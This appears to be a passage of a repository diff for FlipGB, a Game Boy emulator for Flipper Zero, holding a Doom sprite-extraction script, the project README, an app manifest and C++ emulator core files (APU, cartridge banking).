if y < h and not colour[y][x]:
b |= 1 << bit
out.append(b)
return out
def fmt_words(words, per_line=16):
lines = []
for i in range(0, len(words), per_line):
lines.append(",".join("0x%x" % v for v in words[i : i + per_line]))
return ",\n\t".join(lines)
# ------------------------------------------------------------------ pipeline
def sprite16(wad, grays, names, valign, bias=0.0):
frames = []
for n in names:
w, h, pix = decode_picture(wad, n, grays)
g, a = fit_grid(pix, 16, valign)
g = normalize(g, a)
frames.append(to_1bit(g, a, bias))
return emit_scaled16(frames)
def first_present(wad, *names):
for n in names:
if wad.has(n):
return n
raise KeyError("none of %s in WAD" % (names,))
def build_weapon(wad, grays, target_w=46):
"""Idle shotgun + firing frame (shotgun with muzzle flash composited)."""
w, h, gun = decode_picture(wad, "SHTGA0", grays)
x0, y0, x1, y1 = bbox(gun)
gun = crop(gun, x0, y0, x1, y1)
gw, gh = x1 - x0, y1 - y0
nw = target_w
nh = max(1, round(gh * nw / gw))
g, a = box_resize(gun, nw, nh)
g = normalize(g, a)
# limit height so it doesn't cover too much of the 64px screen: keep the
# top rows (barrel); the grip sticks out of the screen bottom like in Doom
max_h = 28
if nh > max_h:
g = g[:max_h]
a = a[:max_h]
nh = max_h
idle = to_1bit(g, a)
# firing frame: muzzle flash above the barrel
fname = first_present(wad, "SHTFB0", "SHTFA0")
fw, fh, fl = decode_picture(wad, fname, grays)
fx0, fy0, fx1, fy1 = bbox(fl)
fl = crop(fl, fx0, fy0, fx1, fy1)
fsw = max(1, round((fx1 - fx0) * nw / gw))
fsh = max(1, round((fy1 - fy0) * nw / gw))
fg, fa = box_resize(fl, fsw, fsh)
fg = normalize(fg, fa)
# keep total height reasonable: crop the top of the flash if needed
max_total = 38
if nh + fsh > max_total:
cut = nh + fsh - max_total
fg = fg[cut:]
fa = fa[cut:]
fsh -= cut
# find barrel top-center of scaled gun: centroid of top opaque row
top_row = 0
for y in range(nh):
if any(a[y][x] >= 0.5 for x in range(nw)):
top_row = y
break
cols = [x for x in range(nw) if a[top_row][x] >= 0.5]
cx = sum(cols) // len(cols) if cols else nw // 2
fire_h = nh + fsh
FG = [[0.0] * nw for _ in range(fire_h)]
FA = [[0.0] * nw for _ in range(fire_h)]
for y in range(nh):
for x in range(nw):
FG[fsh + y][x] = g[y][x]
FA[fsh + y][x] = a[y][x]
ox = cx - fsw // 2
for y in range(fsh):
for x in range(fsw):
dx = ox + x
if 0 <= dx < nw and fa[y][x] >= 0.5:
FG[y][dx] = fg[y][x]
FA[y][dx] = fa[y][x]
fire = to_1bit(FG, FA, bias=40.0) # flash reads brighter
return emit_page_sprite(*idle), emit_page_sprite(*fire)
TITLE_LETTERS = {
"D": [
"######.",
"##..##.",
"##..###",
"##...##",
"##...##",
"##..###",
"##..##.",
"######.",
],
"O": [
".#####.",
"##...##",
"##...##",
"##...##",
"##...##",
"##...##",
"##...##",
".#####.",
],
"M": [
"##...##",
"###.###",
"#######",
"##.#.##",
"##...##",
"##...##",
"##...##",
"##...##",
],
}
def build_title(wad, grays):
"""Original blocky 'DOOM' pixel title with dithered gradient, 128x64."""
W, H = 128, 64
colour = [[False] * W for _ in range(H)]
scale = 4 # each letter 7x8 -> 28x32
lw, lh = 7 * scale, 8 * scale
gap = 4
total = 4 * lw + 3 * gap
x0 = (W - total) // 2
y0 = (H - lh) // 2
for i, ch in enumerate("DOOM"):
gl = TITLE_LETTERS[ch]
ox = x0 + i * (lw + gap)
for gy in range(8):
for gx in range(7):
if gl[gy][gx] != "#":
continue
for sy in range(scale):
for sx in range(scale):
x = ox + gx * scale + sx
y = y0 + gy * scale + sy
# metallic gradient: solid on top, dithered below
if y - y0 < lh * 5 // 8:
colour[y][x] = True
else:
colour[y][x] = ((x + y) & 1) == 0
return emit_solid_bitmap(colour)
def icon_from_pixmap(rows):
"""8x8 pixmap ('#'=white) -> 8 page bytes, bit0 = top row."""
out = []
for x in range(8):
b = 0
for y in range(8):
if rows[y][x] == "#":
b |= 1 << y
out.append(b)
return out
HEALTH_ICON = [
"..###...",
"..#.#...",
"###.###.",
"#.....#.",
"###.###.",
"..#.#...",
"..###...",
"........",
]
AMMO_ICON = [
".#..#...",
"###.###.",
"###.###.",
"###.###.",
"###.###.",
"###.###.",
"###.###.",
"........",
]
def main():
wad_path = sys.argv[1] if len(sys.argv) > 1 else "../doomgeneric/Doom1.WAD"
root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
out_path = (
sys.argv[2]
if len(sys.argv) > 2
else os.path.join(root, "game", "Generated", "DoomSprites.inc.h")
)
wad = Wad(wad_path)
grays = load_palette(wad)
scaled = [] # (symbol, numFrames, words)
def add16(symbol, names, valign, bias=0.0):
scaled.append((symbol, len(names), sprite16(wad, grays, names, valign, bias)))
# enemies (2 walk frames each)
add16("skeletonSpriteData", ["SARGA1", "SARGB1"], "bottom") # pinky demon
add16("mageSpriteData", ["TROOA1", "TROOB1"], "bottom") # imp
add16("batSpriteData", ["SPOSA1", "SPOSB1"], "bottom") # shotgun sergeant
add16("spiderSpriteData", ["POSSA1", "POSSB1"], "bottom") # zombieman
# projectiles
ball = first_present(wad, "BAL1A0")
ball2 = first_present(wad, "BAL1B0", "BAL1A0")
add16("projectileSpriteData", [ball], "center", bias=60.0)
add16("enemyProjectileSpriteData", [ball2], "center", bias=60.0)
# decorations / pickups
torch1 = first_present(wad, "TREDA0", "CANDA0")
torch2 = first_present(wad, "TREDC0", "TREDB0", "CANDA0")
add16("torchSpriteData1", [torch1], "center", bias=40.0)
add16("torchSpriteData2", [torch2], "center", bias=40.0)
add16("urnSpriteData", ["BAR1A0"], "bottom") # barrel
add16("potionSpriteData", ["STIMA0"], "bottom", bias=30.0) # stimpack
add16("chestSpriteData", ["BPAKA0"], "bottom", bias=30.0) # backpack
add16("chestOpenSpriteData", ["CLIPA0"], "bottom", bias=30.0)
add16("scrollSpriteData", ["BON2A0"], "bottom", bias=30.0) # armor helmet
add16("coinsSpriteData", ["BON1A0"], "bottom", bias=30.0) # potion bottle
add16("crownSpriteData", ["ARM1A0"], "bottom", bias=30.0) # green armor
add16("signSpriteData", ["POL5A0"], "bottom", bias=20.0) # skull pile
weapon_idle, weapon_fire = build_weapon(wad, grays)
title = build_title(wad, grays)
health = icon_from_pixmap(HEALTH_ICON)
ammo = icon_from_pixmap(AMMO_ICON)
with open(out_path, "w") as f:
f.write("// Auto-generated by tools/extract_doom_assets.py\n")
f.write("// Derived at build time from the user's local Doom shareware WAD.\n")
f.write("// Do not commit WAD-derived data to public repositories.\n\n")
for symbol, nframes, words in scaled:
f.write("constexpr uint8_t %s_numFrames = %d;\n" % (symbol, nframes))
f.write("extern const uint16_t %s[] PROGMEM =\n{\n\t%s\n};\n" % (symbol, fmt_words(words)))
f.write("extern const uint8_t handSpriteData1[] PROGMEM =\n{\n\t%s\n};\n" % fmt_words(weapon_idle, 24))
f.write("extern const uint8_t handSpriteData2[] PROGMEM =\n{\n\t%s\n};\n" % fmt_words(weapon_fire, 24))
f.write("extern const uint8_t titleBitmapData[] PROGMEM =\n{\n\t%s\n};\n" % fmt_words(title, 24))
f.write("extern const uint8_t heartSpriteData[] PROGMEM =\n{\n%s\n};\n" % fmt_words(health))
f.write("extern const uint8_t manaSpriteData[] PROGMEM =\n{\n%s\n};\n" % fmt_words(ammo))
total = sum(len(w) * 2 for _, _, w in scaled) + len(weapon_idle) + len(weapon_fire) + len(title) + 16
print("Wrote %s (%d bytes of asset data)" % (out_path, total))
if __name__ == "__main__":
main()
Binary file not shown.

After

Width:  |  Height:  |  Size: 671 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1016 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 287 B

+202
View File
@@ -0,0 +1,202 @@
# FlipGB — Game Boy Emulator for Flipper Zero
A Game Boy (DMG) emulator for the Flipper Zero, based on the
[jgilchrist/gbemu](https://github.com/jgilchrist/gbemu) core, heavily adapted
for microcontrollers. Loads `.gb` ROMs from the SD card, streams ROM banks,
supports battery saves and adaptive frameskip.
---
## Quick Start
1. Copy `dist/flipgb.fap` to your SD card under `SD/apps/Games/`
(or run `ufbt launch` with the Flipper connected via USB).
2. Copy your `.gb` ROM files anywhere on the SD card (e.g. `SD/gb_roms/`).
3. On the Flipper: **Apps → Games → FlipGB**.
4. Pick a ROM with the file browser. The game starts immediately.
5. To open the emulator menu at any time: **press Up + Down together**.
> Only use ROMs you legally own or free homebrew (e.g. µCity, Tobu Tobu Girl).
---
## Controls
### In game
| Flipper button | Game Boy button |
|---|---|
| **Up / Down / Left / Right** | D-pad |
| **OK (center)** | **A** |
| **Back** | **B** |
| **Up + Down pressed together** | Open the emulator menu |
There is no direct Start/Select button on the Flipper — they are sent from
the emulator menu (see below).
**Why Up+Down for the menu?** A real Game Boy d-pad physically cannot press
opposite directions at the same time, so no game ever reads that combination
— it can never conflict with gameplay. (A long-press on Back was rejected
because Back is B, and many games hold B continuously — e.g. running in
platformers — which would keep popping the menu open.)
### Emulator menu (Up + Down)
Navigate with **Up/Down**, activate with **OK**, close with **Back**.
| Item | What it does |
|---|---|
| **Continue** | Close the menu and resume the game |
| **Press START** | Sends a Start press to the game (pause menus, "PRESS START" screens) and resumes |
| **Press SELECT** | Sends a Select press to the game and resumes |
| **Frameskip** | Change with **Left/Right**: `auto` (recommended), or fixed `04`. `auto` shows the skip level currently in use |
| **Sound** | Toggle piezo sound on/off (`n/a` if the speaker is in use by another app) |
| **Save SRAM** | Writes the cartridge battery save (`.sav`) to the SD card immediately |
| **Exit** | Saves SRAM (if the cartridge has a battery) and quits the app |
The game is paused while the menu is open; all buttons are released for the
game so nothing stays "stuck".
---
## Saves
- Games with battery-backed cartridge RAM (Zelda, Pokémon, etc.) are saved to
a file **next to the ROM**: `MyGame.gb``MyGame.gb.sav`.
- Saving happens **automatically on Exit**, and manually via **Save SRAM** in
the menu (recommended before pulling the battery/USB, since a hard power
loss cannot auto-save).
- Save states are **not** supported — only real in-game saving, like original
hardware.
---
## Display
The Game Boy screen (160×144, 4 shades of gray) is downscaled to the
Flipper's 128×64 1-bit LCD:
- Full screen is always visible (no cropping), slightly squashed vertically.
- The 4 shades become ordered-dither patterns: white → lit, light gray → 3/4
lit, dark gray → 1/4 lit, black → off.
## Sound
The Flipper's speaker is a single-tone piezo — it plays exactly one
frequency at one volume at a time, so the real 4-channel Game Boy mix
cannot be reproduced. Instead, FlipGB emulates the APU **at register level**
(frequencies, CH1 frequency sweep, volume envelopes, length counters,
NR52 power/status) and every frame sends the **dominant voice** to the
piezo:
1. the louder of the two pulse channels (they carry the melody in almost
every GB soundtrack); the most recently triggered wins ties,
2. otherwise the wave channel (bass lines),
3. otherwise the noise channel, mapped to a short low buzz (percussion).
The result is a monophonic ringtone-style rendition of the game's music
and sound effects (sweeps like Mario's jump work). It can be toggled in
the emulator menu. Since no waveforms are synthesized, the CPU cost is
negligible (one counter per emulated instruction) and RAM cost is ~120
bytes.
## Performance
- The upstream core had a cycle-domain mismatch: the CPU tables count
machine cycles but the PPU counted them against T-cycle constants, so
**every frame emulated 4x the hardware-correct amount of CPU work**
(70224 M-cycles instead of 17556). Unnoticeable on a desktop, a slideshow
on a 64 MHz Cortex-M4. Fixed — this alone made everything ~4.5x faster.
- While halted (games spend most of each frame in HALT waiting for vblank),
the CPU steps 4 M-cycles at a time instead of 1, making the idle part of
the frame cheap.
- **Frameskip `auto`** (default) measures the real cost of each emulated frame
and skips *rendering* (never emulation) to keep the game running at correct
speed. Games stay full-speed logically; visible FPS drops instead.
- Fixed frameskip `04` is available in the menu if you prefer consistency.
- The PPU only renders the 64 scanlines (out of 144) that survive the
downscale to the Flipper LCD — ~55% of the per-frame rendering work is
skipped with zero visual difference.
- Bank-switch heavy games may micro-stutter when a 16 KB bank has to be
streamed from the SD card (only happens when the ROM doesn't fit in RAM).
- The emulator menu shows the free heap (`NNk free`) so you can see the
memory headroom of the current game at a glance.
## Compatibility
| Feature | Status |
|---|---|
| Mappers | ROM-only, MBC1, MBC2, MBC3 (no RTC), MBC5 |
| Game Boy Color | Not supported. CGB-only ROMs are rejected with a message; dual-mode ROMs run in DMG mode |
| MBC3 real-time clock | Not emulated (Pokémon Gold/Silver run without the clock) |
| Audio | Monophonic: register-level APU + dominant voice on the piezo (see *Sound* above). No waveform mixing — the hardware physically can't play it |
| Link cable | Not supported |
| ROM size | Any (streamed from SD; small ROMs are fully loaded to RAM) |
---
## Building from source
```sh
pip install ufbt
cd FlipperGB
ufbt # produces dist/flipgb.fap
ufbt launch # builds, installs and runs on a connected Flipper
```
### Verifying the emulator core on your PC
The exact core that ships in the FAP can be compiled and tested on a desktop:
```sh
g++ -std=c++17 -O2 -fno-exceptions -fno-rtti -I gb \
-o hosttest/hosttest hosttest/main.cpp gb/*.cc
# Blargg CPU tests (print Passed/Failed via the serial port):
./hosttest/hosttest path/to/01-special.gb 4000
# ASCII dump of a game frame:
./hosttest/hosttest game.gb 600 --dump-frame
# Trace of what the piezo would play (dominant APU voice per frame):
./hosttest/hosttest game.gb 1500 --dump-audio
```
Current status: **Blargg `cpu_instrs` 11/11 PASS**.
---
## Technical notes (PC core → MCU adaptations)
| Upstream (PC) | This port (Flipper) |
|---|---|
| Whole ROM in RAM (with several transient copies) | 16 KB bank streaming from SD with an adaptive LRU cache; bank 0 resident; when every bank fits, the whole ROM is preloaded into individual 16 KB slots (O(1) switching, SD file closed) |
| — | All ROM-dependent allocations are 16 KB or smaller and are checked against the largest free heap block first: heap fragmentation can never crash the firmware, the app degrades to streaming or shows "Not enough RAM" instead |
| Renders all 144 scanlines | Renders only the 64 scanlines that are actually displayed after the 144→64 downscale (row mask, ~2x faster rendering) |
| PPU counts M-cycles against T-cycle constants (4x too much CPU emulation per frame) | Hardware-correct M-cycle constants (114 per scanline): ~4.5x faster overall |
| DIV register incremented every M-cycle (64x too fast) | Correct 16384 Hz rate (games use DIV for delays and randomness) |
| Framebuffer stores all 144 rows | Flipper build stores only the 64 displayed rows (2.5 KB instead of 5.7 KB) |
| 92 KB framebuffer of 4-byte enums + unused 256 KB background map | Packed 2bpp framebuffer (5.7 KB); dead buffer removed |
| 32 KB WRAM / 16 KB VRAM (CGB provision) | Real DMG sizes: 8 KB / 8 KB |
| Virtual methods on every CPU register access | Devirtualized, inlined registers |
| Heap allocation per tile per scanline in the PPU | Zero-alloc per-tile rendering |
| `std::function` / `std::string` / `ifstream` / exceptions | Function pointers + Flipper Storage API, builds with `-fno-exceptions -fno-rtti` |
| Nintendo boot ROM embedded | Removed; documented post-boot register state instead |
| MBC1 partial (bugs, 512 KB max), no MBC2/MBC5 | MBC1 complete, MBC2/MBC3/MBC5 implemented |
| No joypad interrupt | Added (wakes games waiting in HALT/STOP) |
| No APU at all | Register-level APU (sweep/envelope/length/NR52, proper read-back masks) driving the piezo with the dominant voice |
RAM budget on device (256 KB total, ~140 KB heap; the app binary itself
loads into ~32 KB of that heap): ~19.5 KB emulation state, 16 KB bank 0,
adaptive bank cache (10 KB heap kept in reserve for the system), 032 KB
cartridge RAM per game, 4 KB stack. The bank cache is allocated greedily in
independent 16 KB blocks until the reserve would be touched, so any `.gb`
ROM size works: small ROMs end up fully resident, large ones stream through
however many slots fit. Worst case (1 MB ROM + 32 KB battery RAM, e.g.
Pokémon Red/Blue) needs ~78 KB before the first cache slot, which fits the
post-launch heap with room for 12 streaming slots.
## License
The emulator core derives from jgilchrist/gbemu — see its upstream license.
No Nintendo code or assets are included in this repository.
@@ -0,0 +1,15 @@
App(
appid="flipgb",
name="FlipGB",
apptype=FlipperAppType.EXTERNAL,
entry_point="flipgb_app",
sources=["*.c*", "!hosttest"],
requires=["gui", "dialogs", "storage"],
stack_size=8 * 1024,
cdefines=[("GB_FB_ROWS", "64")],
fap_category="Games",
fap_icon="flipgb_icon.png",
fap_author="user",
fap_version="1.0",
fap_description="Game Boy (DMG) emulator. Loads .gb ROMs from the SD card, streams ROM banks, battery saves, adaptive frameskip.",
)
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 96 B

@@ -0,0 +1,28 @@
#pragma once
#include "definitions.h"
#include "register.h"
class Address {
public:
Address(u16 location) : addr(location) {}
explicit Address(const RegisterPair& from) : addr(from.value()) {}
explicit Address(const WordRegister& from) : addr(from.value()) {}
auto value() const -> u16 { return addr; }
auto in_range(Address low, Address high) const -> bool {
return low.value() <= value() && value() <= high.value();
}
auto operator==(u16 other) const -> bool { return addr == other; }
auto operator+(uint other) const -> Address {
return Address(static_cast<u16>(addr + other));
}
auto operator-(uint other) const -> Address {
return Address(static_cast<u16>(addr - other));
}
private:
u16 addr = 0x0;
};
+242
View File
@@ -0,0 +1,242 @@
#include "apu.h"
/* One frame-sequencer step every 2048 M-cycles (8192 T-cycles = 512 Hz),
* in the same M-cycle domain the CPU/PPU/timer now share. */
static const uint FRAME_SEQ_PERIOD = 2048;
void Apu::tick(uint cycles) {
if(!power) return;
seq_counter += cycles;
while(seq_counter >= FRAME_SEQ_PERIOD) {
seq_counter -= FRAME_SEQ_PERIOD;
seq_step = (u8)((seq_step + 1) & 7);
if((seq_step & 1) == 0) clock_lengths(); /* 256 Hz */
if(seq_step == 2 || seq_step == 6) clock_sweep(); /* 128 Hz */
if(seq_step == 7) clock_envelopes(); /* 64 Hz */
}
}
void Apu::clock_lengths() {
for(uint n = 0; n < 4; n++) {
Ch& c = ch[n];
if((c.nr4 & 0x40) && c.length > 0) {
c.length--;
if(c.length == 0) c.enabled = false;
}
}
}
void Apu::clock_envelopes() {
static const u8 env_channels[3] = {0, 1, 3}; /* wave has no envelope */
for(uint i = 0; i < 3; i++) {
Ch& c = ch[env_channels[i]];
u8 period = c.nr2 & 0x07;
if(!period || !c.enabled) continue;
if(c.env_timer > 0) c.env_timer--;
if(c.env_timer == 0) {
c.env_timer = period;
if(c.nr2 & 0x08) {
if(c.env_volume < 15) c.env_volume++;
} else {
if(c.env_volume > 0) c.env_volume--;
}
}
}
}
auto Apu::sweep_calc() const -> uint {
uint delta = sweep_shadow >> (ch[0].nr0 & 0x07);
return (ch[0].nr0 & 0x08) ? sweep_shadow - delta : sweep_shadow + delta;
}
void Apu::clock_sweep() {
Ch& c = ch[0];
if(!c.enabled || !sweep_enabled) return;
if(sweep_timer > 0) sweep_timer--;
if(sweep_timer != 0) return;
u8 period = (c.nr0 >> 4) & 0x07;
sweep_timer = period ? period : 8;
if(!period) return;
uint nf = sweep_calc();
if(nf > 2047) {
c.enabled = false;
} else if(c.nr0 & 0x07) {
sweep_shadow = nf;
set_ch_freq(0, nf);
if(sweep_calc() > 2047) c.enabled = false;
}
}
void Apu::trigger(uint n) {
Ch& c = ch[n];
c.enabled = dac_on(n);
if(c.length == 0) c.length = (n == 2) ? 256 : 64;
c.env_volume = c.nr2 >> 4;
u8 period = c.nr2 & 0x07;
c.env_timer = period ? period : 8;
c.order = ++trigger_counter;
if(n == 0) {
sweep_shadow = ch_freq(0);
u8 sw_period = (c.nr0 >> 4) & 0x07;
u8 sw_shift = c.nr0 & 0x07;
sweep_timer = sw_period ? sw_period : 8;
sweep_enabled = (sw_period != 0) || (sw_shift != 0);
if(sw_shift && sweep_calc() > 2047) c.enabled = false;
}
}
void Apu::power_off() {
for(uint n = 0; n < 4; n++) {
ch[n] = Ch(); /* wave RAM survives power-off, registers do not */
}
nr50 = 0;
nr51 = 0;
sweep_shadow = 0;
sweep_timer = 0;
sweep_enabled = false;
seq_counter = 0;
seq_step = 0;
}
void Apu::write(u16 addr, u8 value) {
/* wave RAM is accessible regardless of power */
if(addr >= 0xFF30 && addr <= 0xFF3F) {
wave_ram[addr - 0xFF30] = value;
return;
}
if(addr == 0xFF26) { /* NR52: only the power bit is writable */
bool new_power = (value & 0x80) != 0;
if(power && !new_power) power_off();
if(!power && new_power) {
seq_counter = 0;
seq_step = 0;
}
power = new_power;
return;
}
if(!power) return; /* all other registers are dead while powered off */
if(addr >= 0xFF10 && addr <= 0xFF23) {
uint idx = addr - 0xFF10;
uint n = idx / 5; /* channel */
Ch& c = ch[n];
switch(idx % 5) {
case 0: /* NRx0: CH1 sweep / CH3 DAC enable */
c.nr0 = value;
if(n == 2 && !dac_on(2)) c.enabled = false;
break;
case 1: /* NRx1: duty/length load */
c.nr1 = value;
c.length = (n == 2) ? 256u - value : 64u - (value & 0x3F);
break;
case 2: /* NRx2: envelope (CH3: output level) */
c.nr2 = value;
if(n != 2 && !dac_on(n)) c.enabled = false;
break;
case 3: /* NRx3: frequency low (CH4: polynomial counter) */
c.nr3 = value;
break;
case 4: /* NRx4: frequency high / length enable / trigger */
c.nr4 = value;
if(value & 0x80) trigger(n);
break;
}
return;
}
if(addr == 0xFF24) {
nr50 = value;
return;
}
if(addr == 0xFF25) {
nr51 = value;
return;
}
/* 0xFF27 - 0xFF2F: unmapped */
}
auto Apu::read(u16 addr) const -> u8 {
if(addr >= 0xFF30 && addr <= 0xFF3F) return wave_ram[addr - 0xFF30];
/* unused bits read back as 1 (hardware OR masks) */
static const u8 masks[0x17] = {
0x80, 0x3F, 0x00, 0xFF, 0xBF, /* NR10-NR14 */
0xFF, 0x3F, 0x00, 0xFF, 0xBF, /* ----, NR21-NR24 */
0x7F, 0xFF, 0x9F, 0xFF, 0xBF, /* NR30-NR34 */
0xFF, 0xFF, 0x00, 0x00, 0xBF, /* ----, NR41-NR44 */
0x00, 0x00, 0x70, /* NR50, NR51, NR52 */
};
if(addr >= 0xFF10 && addr <= 0xFF23) {
uint idx = addr - 0xFF10;
const Ch& c = ch[idx / 5];
u8 raw;
switch(idx % 5) {
case 0: raw = c.nr0; break;
case 1: raw = c.nr1; break;
case 2: raw = c.nr2; break;
case 3: raw = c.nr3; break;
default: raw = c.nr4; break;
}
return raw | masks[idx];
}
switch(addr) {
case 0xFF24:
return nr50;
case 0xFF25:
return nr51;
case 0xFF26: {
u8 v = (u8)(power ? 0x80 : 0x00) | 0x70;
for(uint n = 0; n < 4; n++)
if(ch[n].enabled) v |= (u8)(1 << n);
return v;
}
default:
return 0xFF; /* 0xFF27 - 0xFF2F */
}
}
void Apu::get_voice(uint n, ApuVoice* out) const {
const Ch& c = ch[n];
out->order = c.order;
bool routed = ((nr51 >> n) & 1) || ((nr51 >> (n + 4)) & 1);
u8 vol;
if(n == 2) {
/* wave output level: mute / 100% / 50% / 25% */
switch((c.nr2 >> 5) & 3) {
case 0: vol = 0; break;
case 1: vol = 15; break;
case 2: vol = 7; break;
default: vol = 3; break;
}
} else {
vol = c.env_volume;
}
out->volume = vol;
out->active = power && c.enabled && dac_on(n) && routed && vol > 0;
if(n == 3) {
/* noise: LFSR clock rate (the frontend maps it to a percussive
* buzz; a piezo cannot reproduce real noise) */
u8 shift = c.nr3 >> 4;
u8 r = c.nr3 & 0x07;
u32 divisor = r ? ((u32)r << 4) : 8u;
out->freq_hz = (524288u / divisor) >> (shift + 1);
} else {
uint x = ch_freq(n);
out->freq_hz = ((n == 2) ? 65536u : 131072u) / (2048u - x);
}
}
+89
View File
@@ -0,0 +1,89 @@
#pragma once
#include "definitions.h"
/* Register-level APU (no waveform synthesis).
*
* The Flipper Zero speaker is a single-tone piezo: it can play exactly one
* frequency at one volume at a time. Synthesizing the real 4-channel GB mix
* would be wasted CPU (there is no DAC to play it on), so this APU only
* models what games actually program into the sound registers:
*
* - channel frequencies (including the CH1 frequency sweep)
* - volume envelopes (64 Hz), length counters (256 Hz), sweep (128 Hz)
* - trigger / DAC-enable / NR52 power semantics and register read-back
* masks (some games poll NR52 channel-status bits)
*
* The frontend queries the per-channel state once per frame and decides
* which voice to send to the piezo. Cost per emulated instruction: one
* counter add + compare. Extra RAM: ~120 bytes.
*/
struct ApuVoice {
bool active; /* audible now: triggered, DAC on, length alive, routed */
u32 freq_hz; /* square/wave: tone frequency. noise: LFSR clock rate */
u8 volume; /* current volume 0..15 (wave level mapped to 0/3/7/15) */
u32 order; /* trigger recency; higher = more recently triggered */
};
class Apu {
public:
void tick(uint cycles);
/* 0xFF10 - 0xFF3F (sound registers + wave RAM) */
auto read(u16 addr) const -> u8;
void write(u16 addr, u8 value);
/* n: 0 = pulse 1, 1 = pulse 2, 2 = wave, 3 = noise */
void get_voice(uint n, ApuVoice* out) const;
/* Master volume 0..7 (louder of the two NR50 output terminals) */
auto master_volume() const -> u8 {
u8 l = (nr50 >> 4) & 7;
u8 r = nr50 & 7;
return l > r ? l : r;
}
private:
struct Ch {
u8 nr0 = 0, nr1 = 0, nr2 = 0, nr3 = 0, nr4 = 0;
bool enabled = false;
uint length = 0;
u8 env_volume = 0;
u8 env_timer = 0;
u32 order = 0;
};
Ch ch[4]; /* 0 = pulse1, 1 = pulse2, 2 = wave, 3 = noise */
/* channel 1 sweep unit */
uint sweep_shadow = 0;
u8 sweep_timer = 0;
bool sweep_enabled = false;
u8 nr50 = 0, nr51 = 0;
bool power = false;
u8 wave_ram[16] = {};
uint seq_counter = 0;
u8 seq_step = 0;
u32 trigger_counter = 0;
auto dac_on(uint n) const -> bool {
if(n == 2) return (ch[2].nr0 & 0x80) != 0;
return (ch[n].nr2 & 0xF8) != 0;
}
auto ch_freq(uint n) const -> uint {
return ((uint)(ch[n].nr4 & 0x07) << 8) | ch[n].nr3;
}
void set_ch_freq(uint n, uint f) {
ch[n].nr3 = (u8)(f & 0xFF);
ch[n].nr4 = (u8)((ch[n].nr4 & ~0x07) | ((f >> 8) & 0x07));
}
void trigger(uint n);
void clock_lengths();
void clock_envelopes();
void clock_sweep();
auto sweep_calc() const -> uint;
void power_off();
};
@@ -0,0 +1,39 @@
#pragma once
#include "definitions.h"
namespace bitwise {
inline auto compose_bits(const u8 high, const u8 low) -> u8 {
return static_cast<u8>(high << 1 | low);
}
inline auto compose_nibbles(const u8 high, const u8 low) -> u8 {
return static_cast<u8>((high << 4) | low);
}
inline auto compose_bytes(const u8 high, const u8 low) -> u16 {
return static_cast<u16>((high << 8) | low);
}
inline auto check_bit(const u8 value, const u8 bit) -> bool { return (value & (1 << bit)) != 0; }
inline auto bit_value(const u8 value, const u8 bit) -> u8 { return (value >> bit) & 1; }
inline auto set_bit(const u8 value, const u8 bit) -> u8 {
auto value_set = value | (1 << bit);
return static_cast<u8>(value_set);
}
inline auto clear_bit(const u8 value, const u8 bit) -> u8 {
auto value_cleared = value & ~(1 << bit);
return static_cast<u8>(value_cleared);
}
inline auto set_bit_to(const u8 value, const u8 bit, bool bit_on) -> u8 {
return bit_on
? set_bit(value, bit)
: clear_bit(value, bit);
}
} // namespace bitwise
@@ -0,0 +1,236 @@
#include "cartridge.h"
void Cartridge::init(
const u8* bank0_data,
uint rom_bank_count,
MBCType mbc_type,
u8* cart_ram,
u32 cart_ram_size,
RomBankProvider rom_provider,
void* rom_provider_ctx) {
bank0 = bank0_data;
bank_count = rom_bank_count > 0 ? rom_bank_count : 2;
mbc = mbc_type;
ram = cart_ram;
ram_size = cart_ram_size;
provider = rom_provider;
provider_ctx = rom_provider_ctx;
ram_enabled = false;
advanced_banking_mode = false;
bank_low = 1;
bank_high = 0;
ram_bank = 0;
update_rom_bank();
}
void Cartridge::update_rom_bank() {
uint bank;
switch(mbc) {
case MBCType::None:
bank = 1;
break;
case MBCType::MBC1:
bank = (bank_high << 5) | bank_low;
/* bank_low == 0 is translated to 1 at write time */
break;
case MBCType::MBC2:
case MBCType::MBC3:
bank = bank_low;
break;
case MBCType::MBC5:
/* MBC5 genuinely allows bank 0 in the switchable slot */
bank = (bank_high << 8) | bank_low;
break;
default:
bank = 1;
break;
}
if(bank_count) bank %= bank_count;
bankN = provider(provider_ctx, bank);
}
void Cartridge::write(u16 addr, u8 value) {
if(addr >= 0xA000) {
write_ram(addr, value);
return;
}
switch(mbc) {
case MBCType::None:
return;
case MBCType::MBC1:
if(addr < 0x2000) {
ram_enabled = (value & 0x0F) == 0x0A;
} else if(addr < 0x4000) {
bank_low = value & 0x1F;
if(bank_low == 0) bank_low = 1;
update_rom_bank();
} else if(addr < 0x6000) {
bank_high = value & 0x03;
if(advanced_banking_mode) {
ram_bank = value & 0x03;
}
update_rom_bank();
} else {
advanced_banking_mode = (value & 0x01) != 0;
ram_bank = advanced_banking_mode ? (bank_high & 0x03) : 0;
update_rom_bank();
}
return;
case MBCType::MBC2:
if(addr < 0x4000) {
/* bit 8 of the address selects RAM-enable vs ROM-bank */
if(addr & 0x0100) {
bank_low = value & 0x0F;
if(bank_low == 0) bank_low = 1;
update_rom_bank();
} else {
ram_enabled = (value & 0x0F) == 0x0A;
}
}
return;
case MBCType::MBC3:
if(addr < 0x2000) {
ram_enabled = (value & 0x0F) == 0x0A;
} else if(addr < 0x4000) {
bank_low = value & 0x7F;
if(bank_low == 0) bank_low = 1;
update_rom_bank();
} else if(addr < 0x6000) {
/* 0x00-0x03: RAM bank. 0x08-0x0C: RTC register (unsupported,
* reads return 0xFF via ram_bank marker) */
ram_bank = value;
} else {
/* RTC latch: unsupported */
}
return;
case MBCType::MBC5:
if(addr < 0x2000) {
ram_enabled = (value & 0x0F) == 0x0A;
} else if(addr < 0x3000) {
bank_low = value;
update_rom_bank();
} else if(addr < 0x4000) {
bank_high = value & 0x01;
update_rom_bank();
} else if(addr < 0x6000) {
ram_bank = value & 0x0F;
}
return;
default:
return;
}
}
auto Cartridge::read_ram(u16 addr) const -> u8 {
if(!ram || !ram_enabled) return 0xFF;
if(mbc == MBCType::MBC2) {
/* 512 half-bytes, mirrored */
return static_cast<u8>(ram[(addr - 0xA000) & 0x1FF] | 0xF0);
}
if(mbc == MBCType::MBC3 && ram_bank > 0x03) return 0xFF; /* RTC regs */
u32 idx = static_cast<u32>(addr - 0xA000) + static_cast<u32>(ram_bank & 0x0F) * 0x2000;
